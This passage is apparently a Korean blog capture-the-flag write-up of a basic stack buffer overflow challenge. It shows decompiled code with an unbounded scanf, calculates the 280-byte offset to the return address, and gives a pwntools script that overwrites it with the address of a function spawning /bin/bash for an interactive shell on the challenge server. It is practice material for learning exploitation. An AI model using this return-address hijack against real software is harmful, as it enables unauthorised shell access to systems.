int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s);
  return 0;
}
int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

따로 함수 호출이나 if 문이 없으니 ret 값을 callMeMaybe 함수의 주소로 바꾸면 될거 같다.

 

0x110 + 0x8 = 0x118 = 280

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3004)

payload = b""
payload += b"A" * (0x110 + 8)
payload += p64(0x0000000000400606)

r.sendline(payload)

r.interactive()

0x0000000000400606는 callMeMaybe 함수의 주소값이다.

이렇게 하면 쉘이 실행될 것이다. 거기다 cat flag 를 치면 된다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
2. HackCTF - Basic_BOF #1  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

+ Recent posts